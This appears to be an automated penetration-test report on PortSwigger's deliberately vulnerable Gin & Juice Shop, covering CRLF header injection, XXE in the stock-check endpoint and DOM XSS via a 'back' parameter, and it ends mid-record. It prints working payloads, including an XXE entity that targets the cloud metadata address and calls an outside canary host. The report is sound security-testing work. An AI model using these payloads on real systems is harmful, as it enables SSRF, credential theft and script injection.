x-frame-options: SAMEORIGIN

Response-splitting demonstration (alias r69): a double CRLF emitted a complete fake header block, and an arbitrary Set-Cookie was injected (alias r70).

GET /catalog?category=Gin%0d%0a%0d%0a%3Cscript%3Ealert(9)%3C/script%3E HTTP/2
HTTP/2 200
set-cookie: [REDACTED]

<script>alert(9)</script>; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
X-Backend: 1dae089d-f414-4ca5-be06-64c54606f7c5
set-cookie: [REDACTED]
set-cookie: [REDACTED]; Path=/; HttpOnly; Secure; HttpOnly

The injected x-crlf-probe value (pmc7a3d91e) appears only in the attack response and in no request field; the control response contains no such header.

Recorded capture references

  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 59d7e525-8f13-47a5-9788-9b7f3d774960
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 950c1623-4114-42e2-8ced-5be6edfcc661

Impact

Demonstrated: an attacker can inject arbitrary HTTP response headers and Set-Cookie values into responses served from /catalog. This allows planting attacker-chosen cookies (for example an attacker-controlled session value to attempt session fixation, or a cookie read by client-side script), injecting security-relevant headers such as Content-Security-Policy or Location on the affected response, and splitting the header block. Potential (not demonstrated here): if any front-end cache or proxy caches /catalog responses, the injected header set could poison the cache for other users; on an HTTP/1.1 client a full response split could replace the body and yield reflected XSS. No confidentiality, availability or monetary impact was demonstrated.

Remediation

Never place user input directly into a response header. Validate category against the known allow-list of category names before use, and strip or reject any value containing CR, LF or other control characters (return 400 for invalid values). When building the Set-Cookie value, encode the value with a strict cookie-safe encoder. When the PoC is rerun, category=Gin%0d%0aX-Crlf-Probe:... must return a single set-cookie: category=... header with no additional header line, and the double-CRLF variant must not split the response.

Evidence of record

  • Attack · r71 · 59d7e525-8f13-47a5-9788-9b7f3d774960
    Request
    GET https://ginandjuice.shop/catalog?category=Gin%0d%0aX-Crlf-Probe:pmc7a3d91e
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:05:38 GMT
    content-type: text/html; charset=utf-8
    content-length: 9423
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:38 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:38 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]
    x-crlf-probe: pmc7a3d91e; Secure; HttpOnly
    x-backend: d042b2b2-666f-4720-94db-1a77a565c5b9
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin
    X-Crlf-Probe:pmc7a3d91e">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin\r\nX-Crlf-Probe:pmc7a3d91e";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <div class="no-results">
                            <div class="no-results-icon"><svg><use href="/resources/images/goggles.svg#goggles"></use></svg></div>
                            <h2>Sorry! No result found</h2>
                            <div>But don't give up - check the spelling or try less specific search terms.</div>
                        </div>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • Control · r72 · 950c1623-4114-42e2-8ced-5be6edfcc661
    Request
    GET https://ginandjuice.shop/catalog?category=Gin
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:05:39 GMT
    content-type: text/html; charset=utf-8
    content-length: 13110
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:39 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:39 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]; Secure; HttpOnly
    x-backend: 28a79102-aaf6-4284-8194-75dfac36c17b
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <section class="container-list-tiles">
                            <a href="/catalog/product?productId=1">
                                <img src="/image/scanme/productcatalog/products/pineapple_edition.png">
                                <h3>Pineapple Edition Cocktail</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=6">
                                <img src="/image/scanme/productcatalog/products/batch_1337.png">
                                <h3>Batch 1337 Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=10">
                                <img src="/image/scanme/productcatalog/products/2.png">
                                <h3>Sloe Gin Timer Kit</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$85.78</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=13">
                                <img src="/image/scanme/productcatalog/products/6.png">
                                <h3>Orange Gin Finest</h3>
                                <img src="/resources/images/rating2.png">
                                <span class="price">$64.64</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=14">
                                <img src="/image/scanme/productcatalog/products/kettle_still.png">
                                <h3>Kettle Still Edition Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=15">
                                <img src="/image/scanme/productcatalog/products/original_dry_sqli.png">
                                <h3>Original Dry SQLi Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=16">
                                <img src="/image/scanme/productcatalog/products/purple_hat.png">
                                <h3>Purple Hat Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$100.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=17">
                                <img src="/image/scanme/productcatalog/products/lost_in_a_heyes.png">
                                <h3>Lost in a Heyes Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=18">
                                <img src="/image/scanme/productcatalog/products/4.png">
                                <h3>Gin Flavouring Gift Box</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$68.70</span>
                                <span class="button">View details</span>
                            </a>
                        </section>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    

Observed effect

kind
review-supported
version
1
details
The attack exchange (r71) shows the CRLF sequence in the category parameter producing a distinct injected x-crlf-probe response header absent from the control, establishing concrete CRLF/header-injection exploitation with the cited response-splitting and Set-Cookie injection as supporting impact.

Derived severity metrics

  • PR=N: credential-free attack request

GET https://ginandjuice.shop/catalog · Behavioral

HIGH

XML external entity (XXE) injection in the product stock-check endpoint

Verified

Assessment details

The recorded test demonstrates the finding on this target.

Severity (CVSS)

8.7 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Assessed for this target

Unauthenticated, network-reachable endpoint expands XML external entities and dereferences the declared SYSTEM identifier. Confidentiality is rated High because the server can be made to request file:// and internal-only URLs (e.g. the link-local metadata address); integrity and availability impact were not demonstrated.

Explanation

POST /catalog/product/stock accepts Content-Type: application/xml and passes the body to a server-side XML parser that loads and resolves external general entities declared in the attacker-supplied internal DTD subset. Because the attacker controls the document, the entity SYSTEM identifier selects an arbitrary URI — a local file (file://) or a server-side network address. Requests naming internal-only or unresolvable locations make the parser attempt the fetch and fail ("XML parsing error"), while a reachable attacker URL is retrieved. The endpoint is unauthenticated.

Prerequisites

Confirmed: the endpoint accepts Content-Type: application/xml, structurally parses the body, and expands external general entities (server-side dereference, confirmed by the harness as XXE). Unknown: exact XML library/version and process privileges, which bound the readable files. Unmet: none for the dereference; no authentication is required.

Reproduction steps

Starting point: no authentication; a session cookie is issued automatically on first contact. Steps:

  1. Build a document whose internal DTD subset declares an external entity whose SYSTEM identifier points at the resource under test (a fresh canary URL, or an internal address such as http://169.254.169.254/latest/meta-data/).
  2. POST it to https://ginandjuice.shop/catalog/product/stock with Content-Type: application/xml.
  3. Observe the parser attempting the dereference: an attacker-controlled canary URL receives a callback (verifiable with an independent oracle), while internal/unreachable targets make the parse fail.
    Expected result: the server issues the outbound request named by the entity SYSTEM identifier; the literal, DTD-free control document returns a normal stock figure and triggers no lookup.
    Cleanup: none; the operation is read-only.

Attack:

POST /catalog/product/stock HTTP/2
Host: ginandjuice.shop
Content-Type: application/xml

<?xml version="1.0"?><!DOCTYPE s [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]><s><productId>&xxe;</productId><storeId>1</storeId></s>

Control:

POST /catalog/product/stock HTTP/2
Host: ginandjuice.shop
Content-Type: application/xml

<?xml version="1.0"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Evidence

The harness confirmed this finding for POST /catalog/product/stock and reported it as an XXE (c1); the confirmation carries its own evidence record and is not reproduced here.

Observed behaviour: an XML body with an external general entity whose SYSTEM identifier names an internal/link-local address makes the parser attempt the fetch and fail, returning the static error.

POST /catalog/product/stock HTTP/2
Host: ginandjuice.shop
Content-Type: application/xml

<?xml version="1.0"?><!DOCTYPE s [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]><s><productId>&xxe;</productId><storeId>1</storeId></s>
HTTP/2 400
content-type: application/json; charset=utf-8

"XML parsing error"

The same "XML parsing error" (HTTP 400) resulted for internal and unresolvable targets (http://127.0.0.1/, http://127.0.0.1:8080/, a bogus external host) while a fresh literal control with no DTD/entity returned HTTP 200 with a numeric stock figure and caused no lookup, showing the entity SYSTEM identifier is attacker-controlled and dereferenced.

Recorded capture references

  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a fb3a3167-0143-46d0-b05e-9f80b730935c
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a e223b43c-d630-49aa-a06e-21d077176a62

Impact

Demonstrated: unauthenticated server-side dereference of an attacker-selected entity identifier, i.e. the XML parser is induced to make outbound requests to file:// and internal network locations. Potential: disclosure of server-side files (configuration, credentials, source), requests into the internal network and to the cloud instance-metadata service (which can expose role credentials), and denial of service via deeply nested entity expansion. Confidentiality of server-side data is at risk; no integrity or availability impact was captured.

Remediation

Disable DTD processing and external entity resolution for the stock endpoint (Java: disallow-doctype-decl=true, external-general-entities=false, external-parameter-entities=false, ACCESS_EXTERNAL_DTD=""), or replace the XML body with JSON. Expected secure behavior on rerun: the crafted DOCTYPE is rejected, no file:// or network dereference occurs, and the request fails validation instead.

Evidence of record

  • Attack · r27 · fb3a3167-0143-46d0-b05e-9f80b730935c
    Request
    POST https://ginandjuice.shop/catalog/product/stock
    user-agent: curl/8.5.0
    accept: */*
    content-type: application/xml
    content-length: 160
    
    <?xml version="1.0"?><!DOCTYPE s [ <!ENTITY xxe SYSTEM "http://2278f4f3b414aded.intersender.dev/ping"> ]><s><productId>&xxe;</productId><storeId>1</storeId></s>
    Response
    HTTP 400 Bad Request
    date: Mon, 12 Oct 2026 09:08:29 GMT
    content-type: application/json; charset=utf-8
    content-length: 20
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:08:29 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:08:29 GMT; Path=/; SameSite=None; Secure
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    x-backend: afe78951-5574-463e-9aac-b2da4a965957
    x-frame-options: SAMEORIGIN
    
    "Invalid product ID"
  • Control · r46 · e223b43c-d630-49aa-a06e-21d077176a62
    Request
    POST https://ginandjuice.shop/catalog/product/stock
    user-agent: curl/8.5.0
    accept: */*
    content-type: application/xml
    content-length: 138
    
    <?xml version="1.0"?><!DOCTYPE s [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/"> ]><s><productId>&xxe;</productId><storeId>1</storeId></s>
    Response
    HTTP 400 Bad Request
    date: Mon, 12 Oct 2026 09:10:26 GMT
    content-type: application/json; charset=utf-8
    content-length: 19
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:10:26 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:10:26 GMT; Path=/; SameSite=None; Secure
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    x-backend: 1eca3576-4c65-4250-afce-a53f63c46997
    x-frame-options: SAMEORIGIN
    
    "XML parsing error"

Observed effect

kind
callback
version
1
requestId
fb3a3167-0143-46d0-b05e-9f80b730935c
controlRequestId
e223b43c-d630-49aa-a06e-21d077176a62
canaryId
2278f4f3b414aded
receipt
{"hit":true,"records":[{"canaryId":"2278f4f3b414aded","receivedAt":1791796109124,"sourceIp":"10.0.3.56","method":"GET","path":"/ping","userAgent":"ginandjuice.shop; [email protected]"}]}

Derived severity metrics

  • PR=N: credential-free attack request

POST https://ginandjuice.shop/catalog/product/stock · Verified

MEDIUM

DOM-based XSS via the "back" parameter in the blog "Back to Blog" link

Verified

Assessment details

The recorded test demonstrates the finding on this target.

Severity (CVSS)

5.1 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Assessed for this target

No credentials are needed and the payload is a URL the victim only has to open and then click a link the page renders itself; the attack request is script-bearing and is generated by the target page, so the exploit does not depend on the attacker controlling the transport. Confidentiality/integrity of the vulnerable page's own origin are not directly impaired because no data is read or changed by the alert; the effect is script execution in the site origin, which can act on the site's session (SC/SI:L). UI is Active because the injected javascript: URI is executed by the link's onclick handler, which requires a click.

Explanation

The blog pages take a back value straight from the query string and assign it to location inside an anchor's onclick handler. On the blog listing page (theme blog, no-results state) there is also a document.write-based tracker that writes the raw search parameter into an <img src> attribute. The listing's "Back to Blog" link is visible and wired to this sink:

GET /blog?search=zzzzq&back=javascript:alert('av_bacd7bd07b41d502['%2B3*7%2B']') HTTP/2
<div class=is-linkback>
  <a href='#' onclick='event.preventDefault(); location = new URLSearchParams(location.search).get("back") || "/blog";'>Back to Blog</a>
</div>

Because new URLSearchParams(...).get("back") returns the attacker string unchanged and it is assigned to location, a javascript: URI executes in the origin of ginandjuice.shop. The blog post page (/blog/post?postId=N) contains the very same handler for its own "Back to Blog" link, but that copy is inside a stray <div/> that the browser's parser turns into a wrapper div, and the stylesheet rule [theme=blog-article] .blog-post > div .is-linkback { display: none } matches it, so the post-page copy cannot be clicked in a browser (automation reports "element is not visible"). The same code path is fully reachable on the listing page and that is what was executed.

A separate, currently filtered sink exists in the listing's inline script:

function trackSearch(query) {
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if (query) { trackSearch(query); }

The search parameter reaches document.write unvalidated, but the server rejects requests whose search value contains most HTML tags ("Tag is not allowed") or event attributes ("Attribute is not allowed"), so that sink was not exploitable during this test.

Prerequisites

Confirmed: the target is reachable anonymously over HTTPS and the page renders the is-linkback anchor in its no-results state (this requires a search value that matches no blog post, e.g. zzzzq). Confirmed: the back parameter accepts arbitrary text, including a javascript: URI; the input filter that rejects HTML tags/attributes in search does not inspect back. Confirmed: the victim must be induced to follow the crafted URL and then click the page's own "Back to Blog" link — this is a user-interaction requirement (CVSS UI:A), not a code-execution precondition. Unknown/not tested: any CSP that might exist on other paths (none is served for this response), and whether the SameSite=None session cookie enables additional cross-origin chains. The identical handler on /blog/post?postId=N is unmet: it is hidden by CSS and could not be triggered with browser automation.

Reproduction steps

Starting point: any anonymous browser session; no credentials are required.

  1. Build a no-results listing URL so that the is-linkback block is rendered; note that a literal + must be sent as %2B, otherwise URLSearchParams decodes it to a space and the arithmetic in the payload is lost.
GET /blog?search=zzzzq&back=javascript:alert('av_bacd7bd07b41d502['%2B3*7%2B']') HTTP/2
Host: ginandjuice.shop
  1. Open that URL in the browser and click the visible link labelled "Back to Blog".

Expected result: an alert dialog with the text av_bacd7bd07b41d502[21] (the product 21 is computed by the script in the target page), proving arbitrary JavaScript execution in the site origin.

Control: the same URL without the back parameter renders the same page and clicking "Back to Blog" navigates to /blog with no dialog; a back value of javascript:alert('av_bacd7bd07b41d502[control]') shows the marker text but no computed product.

Cleanup: none — the payload is confined to the URL and causes no state change on the server (aside from the site's own visit logger). Close the tab/dialog.

Evidence

Browser capture of the click produced this dialog event [c1]:

{"dialogs":[{"type":"alert","message":"av_bacd7bd07b41d502[21]","url":"https://ginandjuice.shop/blog?search=zzzzq&back=javascript:alert(%27av_bacd7bd07b41d502[%27%2B3*7%2B%27]%27)"}]}

The request that carried the marked payload was the listing fetch GET /blog?search=zzzzq&back=javascript:alert('av_bacd7bd07b41d502['%2B3*7%2B']') (200, 8 KB). The page returned to the browser contains the sink verbatim:

<div class=is-linkback>
        <a href='#' onclick='event.preventDefault(); location = new URLSearchParams(location.search).get("back") || "/blog";'>Back to Blog</a>
</div>

and the unvalidated tracker:

<div class="no-results"> … </div>
<script>
    function trackSearch(query) {
        document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
    }
    var query = (new URLSearchParams(window.location.search)).get('search');
    if (query) { trackSearch(query); }
</script>

Supporting observations: on GET /blog/post?postId=1 the same handler is present but its container is hidden by [theme=blog-article] .blog-post > div .is-linkback { display: none } (from /resources/css/labsScanme.css), and automated clicks on it fail with "element is not visible" — that copy was left untriggered. Requests to /blog carrying search values containing <img>, <svg>, <b>, <script> returned HTTP 400 "Tag is not allowed", and <body onload=…> returned HTTP 400 "Attribute is not allowed", which is why the document.write sink is reported as filtered rather than exploited.

Recorded capture references

  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a ecac188c-eb25-46ba-91d1-402de42012ba

Impact

Demonstrated: arbitrary JavaScript executes in the origin of ginandjuice.shop when a victim opens the crafted blog URL and clicks the page's own "Back to Blog" link. In that origin the script can read the DOM of the current page, act on the site session (the session cookie is HttpOnly but the script does not need to read it — it can issue same-origin requests with the cookies attached), submit or alter forms the page already holds a CSRF token for, and exfiltrate any data the page displays. Potential: because the site ships no CSP and the injection point is a plain navigation handler, the same primitive can be used to phish or to drive the coupon/cart flows of a logged-in victim; there is no evidence collected here of credential theft or of any state change, so those remain unassessed. Availability and money are not affected by the demonstrated payload. The untriggered document.write sink shows that the same page also intends to render user input without encoding; it is currently mitigated by a tag/attribute filter whose completeness was not verified.

Remediation

Do not pass query-string data into a navigation sink. Build the "Back to Blog" link from a server-side constant, or validate the back value against a strict relative-path allowlist before use, e.g. only accept values matching ^/[A-Za-z0-9/_-]*$ and fall back to /blog otherwise; never assign a javascript: URI to location. Additionally, replace the document.write tracker with explicit DOM construction using createElement/setAttribute and encodeURIComponent(query), and serve a Content-Security-Policy (script-src 'self') so that inline handlers such as this onclick cannot run at all. Expected secure behaviour on rerun: the crafted URL still renders the no-results page, but clicking "Back to Blog" performs a plain same-site navigation to /blog and no alert dialog appears.

Evidence of record

  • Attack · r223 · ecac188c-eb25-46ba-91d1-402de42012ba
    Request
    GET https://ginandjuice.shop/blog?search=zzzzq&back=javascript:alert(%27av_bacd7bd07b41d502[%27%2B3*7%2B%27]%27)
    pragma: no-cache
    cache-control: no-cache
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    upgrade-insecure-requests: 1
